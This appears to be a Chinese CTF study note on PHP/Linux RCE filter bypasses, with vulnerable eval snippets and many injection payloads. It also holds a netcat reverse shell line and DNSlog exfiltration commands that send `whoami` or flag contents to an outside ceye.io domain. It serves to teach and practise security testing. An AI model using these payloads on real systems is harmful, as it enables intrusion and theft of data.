概念 RCE(Remote code execution)遠程代碼執行漏洞,RCE又分命令執行和代碼執行。 RCE-遠程代碼執行:遠程執行PHP代碼 RCE-遠程命令執行:遠程執行Linux或者Windows等系統命令。 常見函數有: PHP:eval(),assert(),preg_replace ...
概念
RCE(Remote code execution)遠程代碼執行漏洞,RCE又分命令執行和代碼執行。
- RCE-遠程代碼執行:遠程執行PHP代碼
- RCE-遠程命令執行:遠程執行Linux或者Windows等系統命令。
常見函數有:
- PHP:eval(),assert(),preg_replace(),call_user_func(),call_user_func_array()以及array_map(),system, shell_exec, popen, passthru, proc_open等。
- Python:eval,exec,subprocess os.system commands.
- Java:Java裡面沒有類似於php中的eval函數可以直接將字元串轉化為代碼執行的函數。但是又反射機制,並且有各種基於反射機制的表達式引擎。ps:OGNL, SpEL, MVEL
繞過姿勢
*號繞過(ノ*・ω・)ノ
這個理解起來其實很簡單,這個指令放到Linux裡面是這樣的
在Linux中,*是一個通配符,代表當前目錄下的所有隱藏目錄和隱藏文件夾。
我們利用這一點可以繞過CTF中的一些函數。
ps:
<?php
$c = $_GET['c'];
if(!preg_match("/flag/i",$c)) //這裡的i是大小寫的意思
{
eval($c);
}
?>
我們看上面的if函數裡面寫的東西,他是禁止出現flag這個字元串,所以我們可以直接使用*來進行繞過。但是這裡我們不僅可以使用cat fla*.php也可以使用tac命令來輸出這個fla*.php,命令為tac fla*php.
取代函數 (ノ*・ω・)ノ
這個方法挺好用的,我們可以看一段具體的php判斷代碼。
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i",$c))
{
eval($c);
}
?>
上文我們的system與php都被禁止了,這裡我們可以看到上面的PHP執行命令函數。
我們可以使用裡面的shell_exec函數,但是我們要註意,shell_exec函數需要我們把結果輸出出來。那我們就可以這樣構造payload的了
url?c=echo shell_exec('tac/cat fla*);
參數逃逸(ノ*・ω・)ノ
我們看到這個姿勢,也是通過一個php判斷代碼
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |/i",$c)) //這裡還過濾的.和空格
{
eval($c);
}
?>
我們對參數逃逸進行理解
因為是rce漏洞,所以我們可以使用代碼在構造一些新的參數,比如說我們構造一個新的參數,那我們在url中可以先這樣寫。
url?c=eval($_GET['a']);
這樣相當於構造了一個新的參數a,然後頁面代碼又沒有對a參數進行限制,所以我們後面可以直接用a參數來進行對flag.php的讀取。
url?c=eval($_GET['a']);&a=cat flag.php;
這就是我們所說的參數逃逸。
管道符繞(ノ*・ω・)ノ
管道符這裡我們分為兩個系統的:
windows
- |:直接執行後面語句
- ||:前面執行失敗,則執行後面
- &:兩個都執行,如果前面的命令為假,則直接執行後面
- &&如果前面的語句為假則直接出錯,也不執行後面,前面為真,則都執行。
Linux
- |:顯示後面語句的結果
- ||:當前面直接出錯,執行後面的語句
- &:兩個都執行,同win
- &&:前面出錯,則不執行後面,兩個都為true才都執行,前面只能為true。
- `:在將括弧內的命令處理完畢之後,會將返回的信息傳給bash,再次執行。
- ;:執行完前面執行後面。
包含漏洞+偽協議 (ノ*・ω・)ノ
這個繞過需要用到我們之前講到的參數逃逸的思想,我們通過一個例子來看。
<?php
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;(/i",$c)) //這裡我們國立了',`和;號。
{
eval($c);
}
?>
我們可以看到echo,;和我們之前用的反引號都被過濾掉了,那麼既然分號與反引號都被註釋掉了,我們就可以使用文件包含的思路。
url?c=include$_GET[a]?>
我們使用?>來將這個php語句進行完成,然後我們後面跟上php的偽協議。這樣我們的payload就變成了。
payload:url?c=include$_GET[a]?>&a=data://text/plain,<?tac fla*?>
這裡我們使用data協議是因為,用戶的輸入會被當做php文件來執行,這樣一來就達到了我們繞過的思路。
但是我們也可以使用其他的協議。
1.url?c=include[a]?>&a=php;//filter/read=convert.base64-encode/resource=flag.php
2.url?c=include$_GETa]?>&a=php://input post:<?php system('tac flag.php');?>
關鍵字繞過(總體)(ノ*・ω・)ノ
這裡包含了很多中不同的繞過方式,但是都是屬於關鍵字繞過這個大板塊的。
空格繞過
在Linux中,空格可以替換為以下幾種:
< <> ${IFS} $IFS %20(space) %09(tab) $IFS$9 $IFS$1等等
cat<flag.php
cat<>flag.php
cat$IFSflag.php
cat${IFS}flag.php
cat%20flag.php
cat%09flag.php
cat$IFS$1flag.php
這裡主要是代碼審計,看看那些是沒有被過濾的,靈活運用。
轉義繞過
我們可以使用反斜杠進行轉義
ps:
cat flag ---> ca\t fl\ag
cat flag ---> ca"t flag
cat flag ---> ca't flag
這個就不多說了。
特殊變數繞過
我們可以使用Linux中的一些特殊變數進行繞過
ps:
$* $@ $x ${X} //這裡的x代表任意值
ca$*t flag.php
ca$@t flag.php
ca$xt flag.php
ca${X}t flag.php
這些都是shell的特殊變數,也是可以用來繞過的,這種類型可以用在過濾了cat這種命令或者其他關鍵字元串上面使用。
RE繞過
這個也就是我們最開始的fla*.php。沒什麼好講的。
其實這個應該也可以叫做正則表達式繞過。但是我想說,這裡還有一個騷操作
比如說我們一下這個實列:
shell --> ls
-> flag
shell --> cat ?la*
->flag{ABsec}
Base64編碼繞過
這個可以用在一些命令被過濾的情況下使用,比如說我們的ls命令被過濾了,那我們可以將ls這個命令編碼
echo 'ls' | base64
->bHMK
`echo 'bHMK' | base64 -d
-> flag.ph test.php ......
拼接法
這個的大概思路為,用兩個參數來保存flag這個字元串的每個部分。大致如下
a=fl;b=ag;cat$IFS$a$b;
類似於這種。
過濾命令執行函數(ノ*・ω・)ノ
內斂繞過
這個其實很簡單,就是將反引號內的命令的輸出作為輸入執行。
payload:url?c=127.0.0.1;cat$IFS$!`ls`
會抓取ls返回的所有文件內容。
內斂繞過還有其他的寫法,比如下麵:
echo $(ls);
?><?=`ls1;
?><?=$(ls);
使用其他函數
還記得我們前面講的取代函數嗎?和這個的思路一樣,如果我們的執行命令函數被過濾的花花,我們就需要更換函數了
我們除了shell_exec()還可以用以下幾種
system()
passthru()
exec()
popen()
proc_open()
pcntl_exec()
highlight_file()
讀取文件
這裡我們這樣玩,我們除了cat可以顯示文本內容以外,在CTF中我們還可以使用一下幾個姿勢
curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag
tac flag
//如果說我們遇到ls被過濾的話,我們也可以使用find
find
-?> . ./flag
字元串長度限制(ノ*・ω・)ノ
這個挺有意思的,在CTF中,題目可能會限制你輸入的長度,如果說我們要繞過他的話,我們可以只用上文中的一些思想,我們直接看payload
cat flag
-> flag{ABsec}
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t
->ca\ , t \ , fl\ , ag , shell , flag
ls -t > shell
sh shell
->flag{ABsec}
首先是裡面的一些命令
- 空格\ : 這個其實是換行。
- ls -t :按照時間將文本排序輸出
- ls -t > shell:將ls -t的輸出儲存到shell文件中
我們首先是用touch命令創建了幾個文件,但是他們的文件名是我們的主要。我們使用兩個\\的原因在於,第一個\用於將後面的\變成字元串,第二個\是用來將後面的文本轉換為字元串,以便用於後面的測試。
這樣我們shell裡面的樣子應該是這樣的:
cat shell
->cat
flag
因為 \就是用來換行的,不然他們連在一起也無法被解析。
$PATH (ノ*・ω・)ノ
這個是利用環境變數來達到截取字母繞過的目的。
這裡我們可以舉一個例子:
echo $PATH
/opt/jdk-21/bin //假如是這樣的
echo ${PATH:2:1}
->p
echo ${PATH:3:1}
->t
echo ${PATH:3:2}
->t/
Linux中${PATH:a:b}我們可以理解為從a位開始截取,截取b個長度(/也算一位)
那我們對應這來的話就是這樣的
/ o p t / j d k - 2 1 / b i n
0 1 2 3 4 5 6 7 8 9 10 11 12 13
比如說我們echo ${PATH:3:2}
那就表示,我們從t開始,往後截取兩位數
輸出: t/
但是這樣可能也會出現一些沒有的字母,但是我們需要那個字母的情況,這個時候我們可以自己取構造一個PATH。
export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789
我們直接將全部的字母和數字都放到環境變數中,需要的時候我們就用上面的那個方法進行構造payload。
無回顯RCE
無回顯顧名思義沒有回顯的遠程代碼執行漏洞,那對於這種情況我們可以這樣思考
sleep函數測試
我們在無回顯rce中可以使用sleep函數測試一下頁面的迴響,比如說我們這樣寫
url?c=ls;sleep 3
http請求dns請求
如果說我們在進行sleep測試的時候確實停了3秒,那麼我們可以進行一下的一些思路。
shell獲取許可權拿flag
更具上面的sleep測試,首先頁面無回顯,那麼我們就不能單純的在進行我們上面的rce的bypass了,我們可以使用寫shell的方式,但是這個shell可以是我們直接寫的(echo shell>xxxx.sh)也可以是我們下載的(wget)。
我們手寫的話就是這樣走:
url?c=nc -e /bin/sh ip port
然後我們本地在使用nc進行監聽。
這樣是一種拿到flag的一種思路。
DNSlog
dnslog主要爭對無回顯的情況
- Sqi-Blind
- RCE
- SSRF
- RFI(Remote File inclusion)
但是我們這裡只談RCE的使用。
首先我們介紹一什麼是dnslog。
原理
DNS在解析的時候會留下日誌,我們將信息放在高級功能變數名稱中,傳遞到自己這裡,然後通過讀日誌獲取信息。所以這裡跟最初的猜想基本一致,原理也就是通過DNS請求後,通過讀取日誌來獲取我們的請求信息。
我們用一個例子來理解這個東西:
c:\>ping %USERNAME%.ABsec.com
ping 請求找不到主機 example.ABsec.como. ......
我們可以看到我們這個ping的命令將example.ABsec.com一起發給了DNS伺服器請求解析功能變數名稱對應的ip地址,這個過程被記錄下來就是DNSlog。也就是說,只要可以進行DNS請求,就有可能存在DNSlog註入。
DNSlog常規的Linux的註入是這個樣子的payload
curl http://ip.port.exp.ceye.io/`whoami` //這裡的exp.ceye.io就是我們identifier,這裡的ip與port均為靶機的ip與port。命令而已自己嘗試這換。
ping `whoami`.ip.port.exp.ceye.io
舉例
我們拿NSSCTF裡面的一道題目舉例子
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
我們看到上面代碼,進行代碼審計
首先是過濾了;,&,$,x09,x26等關鍵字,而且還過濾的ping。
在url上面傳入一個cmd參數。
再往下看,發現了shell_exec,那麼基本可以判定是無回顯RCE了。
那我們就可以試試使用DNSlog來進行滲透了。
我們需要用到下麵的identifier,這個就是我們後面需要跟的那個功能變數名稱。
那我們的payload這樣寫就可以了
payload:url?cmd=curl `cat /fla*`.功能變數名稱
我們這樣寫,然後運行,回到我們的ceye中查看flag。
總結
以上就是我對於RCE學習的一個總結,其中也借鑒了很多網上大佬們的文章,也有視頻學習的筆記。如果有不足,會很快改的。